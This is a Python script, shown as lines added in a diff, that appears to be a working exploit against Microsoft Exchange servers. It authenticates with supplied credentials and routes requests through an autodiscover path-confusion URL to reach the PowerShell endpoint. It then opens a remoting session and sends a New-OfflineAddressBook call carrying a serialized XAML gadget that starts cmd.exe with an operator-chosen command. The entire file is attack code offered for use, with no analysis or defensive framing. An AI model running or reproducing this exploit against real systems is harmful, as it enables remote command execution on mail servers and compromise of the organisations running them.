| 1 | + | import base64 |
| 2 | + | import xml.dom.minidom |
| 3 | + | import sys |
| 4 | + | import uuid |
| 5 | + | import struct |
| 6 | + | import string |
| 7 | + | import random |
| 8 | + | |
| 9 | + | import warnings |
| 10 | + | warnings.filterwarnings("ignore") |
| 11 | + | warnings.filterwarnings("ignore", category=DeprecationWarning) |
| 12 | + | from requests_ntlm2 import HttpNtlmAuth |
| 13 | + | import requests |
| 14 | + | |
| 15 | + | |
| 16 | + | proxies = {} |
| 17 | + | |
| 18 | + | USER=sys.argv[2] |
| 19 | + | PASSWORD=sys.argv[3] |
| 20 | + | CMD=sys.argv[4] |
| 21 | + | base_url = sys.argv[1] |
| 22 | + | session = requests.Session() |
| 23 | + | |
| 24 | + | |
| 25 | + | def post_request(original_url, headers, data = None, cookies = {}): |
| 26 | + | headers["User-Agent"] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36" |
| 27 | + | cookies["Email"] = "autodiscover/admin@localhost" |
| 28 | + | if "office365" in base_url: |
| 29 | + | url = base_url + original_url |
| 30 | + | else: |
| 31 | + | url = base_url + "/autodiscover/admin@localhost/%s/autodiscover.json?x=a" % original_url |
| 32 | + | |
| 33 | + | if data is not None: |
| 34 | + | r = session.post(url, headers=headers, cookies=cookies, data=data, verify=False, proxies=proxies, auth=HttpNtlmAuth('%s' % (USER), PASSWORD)) |
| 35 | + | else: |
| 36 | + | r = session.get(url, headers=headers, cookies=cookies, verify=False, proxies=proxies) |
| 37 | + | return r |
| 38 | + | |
| 39 | + | def print_error_and_exit(error, r): |
| 40 | + | print '[+] ', repr(error) |
| 41 | + | if r is not None: |
| 42 | + | print '[+] status_code: ', r.status_code |
| 43 | + | print '[+] response headers: ', repr(r.headers) |
| 44 | + | print '[+] response: ', repr(r.text) |
| 45 | + | raise Exception("exploit failed") |
| 46 | + | |
| 47 | + | |
| 48 | + | |
| 49 | + | |
| 50 | + | class BasePacket: |
| 51 | + | def __init__(self, ObjectId = 0, Destination = 2, MessageType = 0, RPID = None, PID = None, Data = ""): |
| 52 | + | self.ObjectId = ObjectId |
| 53 | + | self.FragmentId = 0 |
| 54 | + | self.Flags = "\x03" |
| 55 | + | self.Destination = Destination |
| 56 | + | self.MessageType = MessageType |
| 57 | + | self.RPID = RPID |
| 58 | + | self.PID = PID |
| 59 | + | self.Data = Data |
| 60 | + | |
| 61 | + | def __str__(self): |
| 62 | + | return "ObjectId: " + str(self.ObjectId) + ", FragmentId: " + str(self.FragmentId) + ", MessageType: " + str(self.MessageType) + ", RPID: " + str(self.RPID) + ", PID: " + str(self.PID) + ", Data: " + self.Data |
| 63 | + | |
| 64 | + | def serialize(self): |
| 65 | + | Blob = ''.join([struct.pack('I', self.Destination), |
| 66 | + | struct.pack('I', self.MessageType), |
| 67 | + | self.RPID.bytes_le, |
| 68 | + | self.PID.bytes_le, |
| 69 | + | self.Data |
| 70 | + | ]) |
| 71 | + | BlobLength = len(Blob) |
| 72 | + | output = ''.join([struct.pack('>Q', self.ObjectId), |
| 73 | + | struct.pack('>Q', self.FragmentId), |
| 74 | + | self.Flags, |
| 75 | + | struct.pack('>I', BlobLength), |
| 76 | + | Blob ]) |
| 77 | + | return output |
| 78 | + | |
| 79 | + | def deserialize(self, data): |
| 80 | + | total_len = len(data) |
| 81 | + | |
| 82 | + | i = 0 |
| 83 | + | self.ObjectId = struct.unpack('>Q', data[i:i+8])[0] |
| 84 | + | i = i + 8 |
| 85 | + | self.FragmentId = struct.unpack('>Q', data[i:i+8])[0] |
| 86 | + | i = i + 8 |
| 87 | + | self.Flags = data[i] |
| 88 | + | i = i + 1 |
| 89 | + | BlobLength = struct.unpack('>I', data[i:i+4])[0] |
| 90 | + | i = i + 4 |
| 91 | + | Blob = data[i:i+BlobLength] |
| 92 | + | lastIndex = i + BlobLength |
| 93 | + | |
| 94 | + | i = 0 |
| 95 | + | self.Destination = struct.unpack('I', Blob[i:i+4])[0] |
| 96 | + | i = i + 4 |
| 97 | + | self.MessageType = struct.unpack('I', Blob[i:i+4])[0] |
| 98 | + | i = i + 4 |
| 99 | + | self.RPID = uuid.UUID(bytes_le=Blob[i:i+16]) |
| 100 | + | i = i + 16 |
| 101 | + | self.PID = uuid.UUID(bytes_le=Blob[i:i+16]) |
| 102 | + | i = i + 16 |
| 103 | + | self.Data = Blob[i:] |
| 104 | + | |
| 105 | + | return lastIndex |
| 106 | + | |
| 107 | + | class SESSION_CAPABILITY(BasePacket): |
| 108 | + | def __init__(self, ObjectId = 1, RPID = None, PID = None, Data = ""): |
| 109 | + | self.Destination = 2 |
| 110 | + | self.MessageType = 0x00010002 |
| 111 | + | BasePacket.__init__(self, ObjectId, self.Destination, self.MessageType, RPID, PID, Data) |
| 112 | + | |
| 113 | + | class INIT_RUNSPACEPOOL(BasePacket): |
| 114 | + | def __init__(self, ObjectId = 1, RPID = None, PID = None, Data = ""): |
| 115 | + | self.Destination = 2 |
| 116 | + | self.MessageType = 0x00010004 |
| 117 | + | BasePacket.__init__(self, ObjectId, self.Destination, self.MessageType, RPID, PID, Data) |
| 118 | + | |
| 119 | + | |
| 120 | + | class CreationXML: |
| 121 | + | def __init__(self, sessionCapability, initRunspacPool): |
| 122 | + | self.sessionCapability = sessionCapability |
| 123 | + | self.initRunspacPool = initRunspacPool |
| 124 | + | |
| 125 | + | def serialize(self): |
| 126 | + | output = self.sessionCapability.serialize() + self.initRunspacPool.serialize() |
| 127 | + | return base64.b64encode(output) |
| 128 | + | |
| 129 | + | def deserialize(self, data): |
| 130 | + | rawdata = base64.b64decode(data) |
| 131 | + | lastIndex = self.sessionCapability.deserialize(rawdata) |
| 132 | + | self.initRunspacPool.deserialize(rawdata[lastIndex:]) |
| 133 | + | |
| 134 | + | def __str__(self): |
| 135 | + | return self.sessionCapability.__str__() + self.initRunspacPool.__str__() |
| 136 | + | |
| 137 | + | |
| 138 | + | class PSCommand(BasePacket): |
| 139 | + | def __init__(self, ObjectId = 1, RPID = None, PID = None, Data = ""): |
| 140 | + | self.Destination = 2 |
| 141 | + | self.MessageType = 0x00021006 |
| 142 | + | BasePacket.__init__(self, ObjectId, self.Destination, self.MessageType, RPID, PID, Data) |
| 143 | + | |
| 144 | + | |
| 145 | + | def create_powershell_shell(SessionId, RPID): |
| 146 | + | print("[+] Create powershell session") |
| 147 | + | headers = { |
| 148 | + | "Content-Type": "application/soap+xml;charset=UTF-8", |
| 149 | + | } |
| 150 | + | url = "/powershell" |
| 151 | + | |
| 152 | + | MessageID = uuid.uuid4() |
| 153 | + | OperationID = uuid.uuid4() |
| 154 | + | PID = uuid.UUID('{00000000-0000-0000-0000-000000000000}') |
| 155 | + | sessionData = """<Obj RefId="0"><MS><Version N="protocolversion">2.3</Version><Version N="PSVersion">2.0</Version><Version N="SerializationVersion">1.1.0.1</Version></MS></Obj>""" |
| 156 | + | sessionCapability = SESSION_CAPABILITY(1, RPID, PID, sessionData) |
| 157 | + | initData = """<Obj RefId="0"><MS><I32 N="MinRunspaces">1</I32><I32 N="MaxRunspaces">1</I32><Obj N="PSThreadOptions" RefId="1"><TN RefId="0"><T>System.Management.Automation.Runspaces.PSThreadOptions</T><T>System.Enum</T><T>System.ValueType</T><T>System.Object</T></TN><ToString>Default</ToString><I32>0</I32></Obj><Obj N="ApartmentState" RefId="2"><TN RefId="1"><T>System.Threading.ApartmentState</T><T>System.Enum</T><T>System.ValueType</T><T>System.Object</T></TN><ToString>Unknown</ToString><I32>2</I32></Obj><Obj N="ApplicationArguments" RefId="3"><TN RefId="2"><T>System.Management.Automation.PSPrimitiveDictionary</T><T>System.Collections.Hashtable</T><T>System.Object</T></TN><DCT><En><S N="Key">PSVersionTable</S><Obj N="Value" RefId="4"><TNRef RefId="2" /><DCT><En><S N="Key">PSVersion</S><Version N="Value">5.1.19041.610</Version></En><En><S N="Key">PSEdition</S><S N="Value">Desktop</S></En><En><S N="Key">PSCompatibleVersions</S><Obj N="Value" RefId="5"><TN RefId="3"><T>System.Version[]</T><T>System.Array</T><T>System.Object</T></TN><LST><Version>1.0</Version><Version>2.0</Version><Version>3.0</Version><Version>4.0</Version><Version>5.0</Version><Version>5.1.19041.610</Version></LST></Obj></En><En><S N="Key">CLRVersion</S><Version N="Value">4.0.30319.42000</Version></En><En><S N="Key">BuildVersion</S><Version N="Value">10.0.19041.610</Version></En><En><S N="Key">WSManStackVersion</S><Version N="Value">3.0</Version></En><En><S N="Key">PSRemotingProtocolVersion</S><Version N="Value">2.3</Version></En><En><S N="Key">SerializationVersion</S><Version N="Value">1.1.0.1</Version></En></DCT></Obj></En></DCT></Obj><Obj N="HostInfo" RefId="6"><MS><Obj N="_hostDefaultData" RefId="7"><MS><Obj N="data" RefId="8"><TN RefId="4"><T>System.Collections.Hashtable</T><T>System.Object</T></TN><DCT><En><I32 N="Key">9</I32><Obj N="Value" RefId="9"><MS><S N="T">System.String</S><S N="V">Administrator: Windows PowerShell</S></MS></Obj></En><En><I32 N="Key">8</I32><Obj N="Value" RefId="10"><MS><S N="T">System.Management.Automation.Host.Size</S><Obj N="V" RefId="11"><MS><I32 N="width">274</I32><I32 N="height">72</I32></MS></Obj></MS></Obj></En><En><I32 N="Key">7</I32><Obj N="Value" RefId="12"><MS><S N="T">System.Management.Automation.Host.Size</S><Obj N="V" RefId="13"><MS><I32 N="width">120</I32><I32 N="height">72</I32></MS></Obj></MS></Obj></En><En><I32 N="Key">6</I32><Obj N="Value" RefId="14"><MS><S N="T">System.Management.Automation.Host.Size</S><Obj N="V" RefId="15"><MS><I32 N="width">120</I32><I32 N="height">50</I32></MS></Obj></MS></Obj></En><En><I32 N="Key">5</I32><Obj N="Value" RefId="16"><MS><S N="T">System.Management.Automation.Host.Size</S><Obj N="V" RefId="17"><MS><I32 N="width">120</I32><I32 N="height">3000</I32></MS></Obj></MS></Obj></En><En><I32 N="Key">4</I32><Obj N="Value" RefId="18"><MS><S N="T">System.Int32</S><I32 N="V">25</I32></MS></Obj></En><En><I32 N="Key">3</I32><Obj N="Value" RefId="19"><MS><S N="T">System.Management.Automation.Host.Coordinates</S><Obj N="V" RefId="20"><MS><I32 N="x">0</I32><I32 N="y">0</I32></MS></Obj></MS></Obj></En><En><I32 N="Key">2</I32><Obj N="Value" RefId="21"><MS><S N="T">System.Management.Automation.Host.Coordinates</S><Obj N="V" RefId="22"><MS><I32 N="x">0</I32><I32 N="y">9</I32></MS></Obj></MS></Obj></En><En><I32 N="Key">1</I32><Obj N="Value" RefId="23"><MS><S N="T">System.ConsoleColor</S><I32 N="V">5</I32></MS></Obj></En><En><I32 N="Key">0</I32><Obj N="Value" RefId="24"><MS><S N="T">System.ConsoleColor</S><I32 N="V">6</I32></MS></Obj></En></DCT></Obj></MS></Obj><B N="_isHostNull">false</B><B N="_isHostUINull">false</B><B N="_isHostRawUINull">false</B><B N="_useRunspaceHost">false</B></MS></Obj></MS></Obj>""" |
| 158 | + | |
| 159 | + | initRunspacPool = INIT_RUNSPACEPOOL(2, RPID, PID, initData) |
| 160 | + | creationXml = CreationXML(sessionCapability, initRunspacPool).serialize() |
| 161 | + | |
| 162 | + | # <rsp:CompressionType s:mustUnderstand="true" xmlns:rsp="http://schemas.microsoft.com/wbem/wsman/1/windows/shell">xpress</rsp:CompressionType> |
| 163 | + | request_data = """<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:p="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd"> |
| 164 | + | <s:Header> |
| 165 | + | <a:To>https://exchange16.domaincorp.com:443/PowerShell?PSVersion=5.1.19041.610</a:To> |
| 166 | + | <w:ResourceURI s:mustUnderstand="true">http://schemas.microsoft.com/powershell/Microsoft.Exchange</w:ResourceURI> |
| 167 | + | <a:ReplyTo> |
| 168 | + | <a:Address s:mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address> |
| 169 | + | </a:ReplyTo> |
| 170 | + | <a:Action s:mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/09/transfer/Create</a:Action> |
| 171 | + | <w:MaxEnvelopeSize s:mustUnderstand="true">512000</w:MaxEnvelopeSize> |
| 172 | + | <a:MessageID>uuid:{MessageID}</a:MessageID> |
| 173 | + | <w:Locale xml:lang="en-US" s:mustUnderstand="false" /> |
| 174 | + | <p:DataLocale xml:lang="en-US" s:mustUnderstand="false" /> |
| 175 | + | <p:SessionId s:mustUnderstand="false">uuid:{SessionId}</p:SessionId> |
| 176 | + | <p:OperationID s:mustUnderstand="false">uuid:{OperationID}</p:OperationID> |
| 177 | + | <p:SequenceId s:mustUnderstand="false">1</p:SequenceId> |
| 178 | + | <w:OptionSet xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" s:mustUnderstand="true"> |
| 179 | + | |
| 180 | + | <w:Option Name="protocolversion" MustComply="true">2.3</w:Option> |
| 181 | + | </w:OptionSet> |
| 182 | + | <w:OperationTimeout>PT180.000S</w:OperationTimeout> |
| 183 | + | </s:Header> |
| 184 | + | <s:Body> |
| 185 | + | <rsp:Shell xmlns:rsp="http://schemas.microsoft.com/wbem/wsman/1/windows/shell" Name="WinRM10" > |
| 186 | + | <rsp:InputStreams>stdin pr</rsp:InputStreams> |
| 187 | + | <rsp:OutputStreams>stdout</rsp:OutputStreams> |
| 188 | + | <creationXml xmlns="http://schemas.microsoft.com/powershell">{creationXml}</creationXml> |
| 189 | + | </rsp:Shell> |
| 190 | + | </s:Body> |
| 191 | + | </s:Envelope>""".format(OperationID=OperationID, MessageID=MessageID, SessionId=SessionId, creationXml=creationXml) |
| 192 | + | r = post_request(url, headers, request_data, {}) |
| 193 | + | if r.status_code == 200: |
| 194 | + | doc = xml.dom.minidom.parseString(r.text); |
| 195 | + | elements = doc.getElementsByTagName("rsp:ShellId") |
| 196 | + | if len(elements) == 0: |
| 197 | + | print_error_and_exit("create_powershell_shell failed with no ShellId return", r) |
| 198 | + | ShellId = elements[0].firstChild.nodeValue |
| 199 | + | # print "[+] Got ShellId: {ShellId}".format(ShellId=ShellId) |
| 200 | + | print "[+] Got ShellId success" |
| 201 | + | return ShellId |
| 202 | + | else: |
| 203 | + | print_error_and_exit("create_powershell_shell failed", r) |
| 204 | + | |
| 205 | + | |
| 206 | + | |
| 207 | + | def run_cmdlet_new_offlineaddressbook(SessionId, RPID, ShellId): |
| 208 | + | print "[+] Run cmdlet new-offlineaddressbook" |
| 209 | + | headers = { |
| 210 | + | "Content-Type": "application/soap+xml;charset=UTF-8", |
| 211 | + | } |
| 212 | + | url = "/powershell" |
| 213 | + | |
| 214 | + | name = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(10)) |
| 215 | + | |
| 216 | + | # commandData = open("psobject_memshell.txt", "rb").read() |
| 217 | + | commandData = """<Obj RefId="13"> |
| 218 | + | <TN RefId="0"> |
| 219 | + | <T>System.Management.Automation.PSCustomObject</T> |
| 220 | + | <T>System.Object</T> |
| 221 | + | </TN> |
| 222 | + | <MS> |
| 223 | + | <S N="N">-Identity:</S> |
| 224 | + | <!--Object type section--> |
| 225 | + | <Obj N="V" RefId="14"> |
| 226 | + | <TN RefId="2"> |
| 227 | + | <T>System.ServiceProcess.ServiceController</T> |
| 228 | + | <T>System.Object</T> |
| 229 | + | </TN> |
| 230 | + | <ToString>System.ServiceProcess.ServiceController</ToString> |
| 231 | + | |
| 232 | + | <Props> |
| 233 | + | <S N="Name">Type</S> |
| 234 | + | <Obj N="TargetTypeForDeserialization"> |
| 235 | + | <TN RefId="2"> |
| 236 | + | <T>System.Exception</T> |
| 237 | + | <T>System.Object</T> |
| 238 | + | </TN> |
| 239 | + | <MS> |
| 240 | + | <BA N="SerializationData">AAEAAAD/////AQAAAAAAAAAEAQAAAB9TeXN0ZW0uVW5pdHlTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAREYXRhCVVuaXR5VHlwZQxBc3NlbWJseU5hbWUBAAEIBgIAAAAgU3lzdGVtLldpbmRvd3MuTWFya3VwLlhhbWxSZWFkZXIEAAAABgMAAABYUHJlc2VudGF0aW9uRnJhbWV3b3JrLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49MzFiZjM4NTZhZDM2NGUzNQs=</BA> |
| 241 | + | </MS> |
| 242 | + | </Obj> |
| 243 | + | </Props> |
| 244 | + | |
| 245 | + | <S> |
| 246 | + | <![CDATA[<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:System="clr-namespace:System;assembly=mscorlib" xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system"><ObjectDataProvider x:Key="LaunchCalch" ObjectType="{{x:Type Diag:Process}}" MethodName="Start"><ObjectDataProvider.MethodParameters><System:String>cmd.exe</System:String><System:String>/c {CMD}</System:String> </ObjectDataProvider.MethodParameters> </ObjectDataProvider> </ResourceDictionary>]]> |
| 247 | + | </S> |
| 248 | + | |
| 249 | + | </Obj> |
| 250 | + | </MS> |
| 251 | + | </Obj> |
| 252 | + | """.format(CMD=CMD) |
| 253 | + | PID = uuid.uuid4() |
| 254 | + | # print '[+] Pipeline ID: ', PID |
| 255 | + | print('[+] Create powershell pipeline') |
| 256 | + | c = PSCommand(3, RPID, PID, commandData) |
| 257 | + | command_arguments = base64.b64encode(c.serialize()) |
| 258 | + | |
| 259 | + | MessageID = uuid.uuid4() |
| 260 | + | OperationID = uuid.uuid4() |
| 261 | + | request_data = """<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:p="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd"> |
| 262 | + | <s:Header> |
| 263 | + | <a:To>https://exchange16.domaincorp.com:443/PowerShell?PSVersion=5.1.19041.610</a:To> |
| 264 | + | <a:ReplyTo> |
| 265 | + | <a:Address s:mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address> |
| 266 | + | </a:ReplyTo> |
| 267 | + | <a:Action s:mustUnderstand="true">http://schemas.microsoft.com/wbem/wsman/1/windows/shell/Command</a:Action> |
| 268 | + | <w:MaxEnvelopeSize s:mustUnderstand="true">512000</w:MaxEnvelopeSize> |
| 269 | + | <a:MessageID>uuid:{MessageID}</a:MessageID> |
| 270 | + | <w:Locale xml:lang="en-US" s:mustUnderstand="false" /> |
| 271 | + | <p:DataLocale xml:lang="en-US" s:mustUnderstand="false" /> |
| 272 | + | <p:SessionId s:mustUnderstand="false">uuid:{SessionId}</p:SessionId> |
| 273 | + | <p:OperationID s:mustUnderstand="false">uuid:{OperationID}</p:OperationID> |
| 274 | + | <p:SequenceId s:mustUnderstand="false">1</p:SequenceId> |
| 275 | + | <w:ResourceURI xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd">http://schemas.microsoft.com/powershell/Microsoft.Exchange</w:ResourceURI> |
| 276 | + | <w:SelectorSet xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd"> |
| 277 | + | <w:Selector Name="ShellId">{ShellId}</w:Selector> |
| 278 | + | </w:SelectorSet> |
| 279 | + | <w:OperationTimeout>PT180.000S</w:OperationTimeout> |
| 280 | + | </s:Header> |
| 281 | + | <s:Body> |
| 282 | + | <rsp:CommandLine xmlns:rsp="http://schemas.microsoft.com/wbem/wsman/1/windows/shell" CommandId="{CommandId}" > |
| 283 | + | <rsp:Command>New-OfflineAddressBook</rsp:Command> |
| 284 | + | <rsp:Arguments>{command_arguments}</rsp:Arguments> |
| 285 | + | </rsp:CommandLine> |
| 286 | + | </s:Body> |
| 287 | + | </s:Envelope>""".format(SessionId=SessionId, MessageID=MessageID, OperationID=OperationID, ShellId=ShellId, CommandId=str(PID), command_arguments=command_arguments) |
| 288 | + | r = post_request(url, headers, request_data, {}) |
| 289 | + | # if r.status_code == 200: |
| 290 | + | # doc = xml.dom.minidom.parseString(r.text) |
| 291 | + | # elements = doc.getElementsByTagName("rsp:CommandId") |
| 292 | + | # if len(elements) == 0: |
| 293 | + | # print_error_and_exit("run_cmdlet_new_offlineaddressbook failed with no CommandId return", r) |
| 294 | + | # CommandId = elements[0].firstChild.nodeValue |
| 295 | + | # # print "[+] Got CommandId: {CommandId}".format(CommandId=CommandId) |
| 296 | + | # print "[+] Got CommandId success" |
| 297 | + | # return CommandId |
| 298 | + | # else: |
| 299 | + | # print_error_and_exit("run_cmdlet_new_offlineaddressbook failed", r) |
| 300 | + | |
| 301 | + | def request_keepalive(SessionId, ShellId): |
| 302 | + | print "[+] Run keeping alive request" |
| 303 | + | headers = { |
| 304 | + | "Content-Type": "application/soap+xml;charset=UTF-8", |
| 305 | + | } |
| 306 | + | url = "/powershell" |
| 307 | + | MessageID = uuid.uuid4() |
| 308 | + | OperationID = uuid.uuid4() |
| 309 | + | request_data = """<s:Envelope xmlns:rsp="http://schemas.microsoft.com/wbem/wsman/1/windows/shell" xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:wsman="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:wsmv="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd"> |
| 310 | + | <s:Header> |
| 311 | + | <wsa:Action s:mustUnderstand="true">http://schemas.microsoft.com/wbem/wsman/1/windows/shell/Receive</wsa:Action> |
| 312 | + | <wsmv:DataLocale s:mustUnderstand="false" xml:lang="en-US" /> |
| 313 | + | <wsman:Locale s:mustUnderstand="false" xml:lang="en-US" /> |
| 314 | + | <wsman:MaxEnvelopeSize s:mustUnderstand="true">512000</wsman:MaxEnvelopeSize> |
| 315 | + | <wsa:MessageID>uuid:{MessageID}</wsa:MessageID> |
| 316 | + | <wsman:OperationTimeout>PT20S</wsman:OperationTimeout> |
| 317 | + | <wsa:ReplyTo> |
| 318 | + | <wsa:Address s:mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</wsa:Address> |
| 319 | + | </wsa:ReplyTo> |
| 320 | + | <wsman:ResourceURI>http://schemas.microsoft.com/powershell/Microsoft.Exchange</wsman:ResourceURI> |
| 321 | + | <wsmv:SessionId s:mustUnderstand="false">uuid:{SessionId}</wsmv:SessionId> |
| 322 | + | <wsa:To>http://ex01.lab.local/</wsa:To> |
| 323 | + | <wsman:OptionSet s:mustUnderstand="true"> |
| 324 | + | <wsman:Option Name="WSMAN_CMDSHELL_OPTION_KEEPALIVE">True</wsman:Option> |
| 325 | + | </wsman:OptionSet> |
| 326 | + | <wsman:SelectorSet> |
| 327 | + | <wsman:Selector Name="ShellId">{ShellId}</wsman:Selector> |
| 328 | + | </wsman:SelectorSet> |
| 329 | + | </s:Header> |
| 330 | + | <s:Body> |
| 331 | + | <rsp:Receive> |
| 332 | + | <rsp:DesiredStream>stdout</rsp:DesiredStream> |
| 333 | + | </rsp:Receive> |
| 334 | + | </s:Body> |
| 335 | + | </s:Envelope>""".format(SessionId=SessionId, MessageID=MessageID, OperationID=OperationID, ShellId=ShellId) |
| 336 | + | r = post_request(url, headers, request_data, {}) |
| 337 | + | if r.status_code == 200: |
| 338 | + | print "[+] Success keeping alive" |
| 339 | + | else: |
| 340 | + | print_error_and_exit("keeping alive failed", r) |
| 341 | + | |
| 342 | + | def remove_session(SessionId, ShellId): |
| 343 | + | print "[+] Run keeping alive request" |
| 344 | + | headers = { |
| 345 | + | "Content-Type": "application/soap+xml;charset=UTF-8", |
| 346 | + | } |
| 347 | + | url = "/powershell" |
| 348 | + | MessageID = uuid.uuid4() |
| 349 | + | OperationID = uuid.uuid4() |
| 350 | + | request_data = """<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:wsman="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:wsmv="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd"> |
| 351 | + | <s:Header> |
| 352 | + | <wsa:Action s:mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/09/transfer/Delete</wsa:Action> |
| 353 | + | <wsmv:DataLocale s:mustUnderstand="false" xml:lang="en-US" /> |
| 354 | + | <wsman:Locale s:mustUnderstand="false" xml:lang="en-US" /> |
| 355 | + | <wsman:MaxEnvelopeSize s:mustUnderstand="true">512000</wsman:MaxEnvelopeSize> |
| 356 | + | <wsa:MessageID>uuid:{MessageID}</wsa:MessageID> |
| 357 | + | <wsman:OperationTimeout>PT20S</wsman:OperationTimeout> |
| 358 | + | <wsa:ReplyTo> |
| 359 | + | <wsa:Address s:mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</wsa:Address> |
| 360 | + | </wsa:ReplyTo> |
| 361 | + | <wsman:ResourceURI>http://schemas.microsoft.com/powershell/Microsoft.Exchange</wsman:ResourceURI> |
| 362 | + | <wsmv:SessionId s:mustUnderstand="false">uuid:{SessionId}</wsmv:SessionId> |
| 363 | + | <wsa:To>http://ex01.lab.local/</wsa:To> |
| 364 | + | <wsman:SelectorSet> |
| 365 | + | <wsman:Selector Name="ShellId">{ShellId}</wsman:Selector> |
| 366 | + | </wsman:SelectorSet> |
| 367 | + | </s:Header> |
| 368 | + | <s:Body /> |
| 369 | + | </s:Envelope>""".format(SessionId=SessionId, MessageID=MessageID, OperationID=OperationID, ShellId=ShellId) |
| 370 | + | r = post_request(url, headers, request_data, {}) |
| 371 | + | if r.status_code == 200: |
| 372 | + | print "[+] Success remove session" |
| 373 | + | else: |
| 374 | + | print_error_and_exit("remove session failed", r) |
| 375 | + | |
| 376 | + | MessageID = uuid.uuid4() |
| 377 | + | OperationID = uuid.uuid4() |
| 378 | + | SessionId = uuid.uuid4() |
| 379 | + | PID = uuid.UUID('{00000000-0000-0000-0000-000000000000}') |
| 380 | + | RPID = uuid.uuid4() |
| 381 | + | |
| 382 | + | shell_id = create_powershell_shell(SessionId, RPID) |
| 383 | + | request_keepalive(SessionId, shell_id) |
| 384 | + | run_cmdlet_new_offlineaddressbook(SessionId, RPID, shell_id) |
| 385 | + | remove_session(SessionId, shell_id) |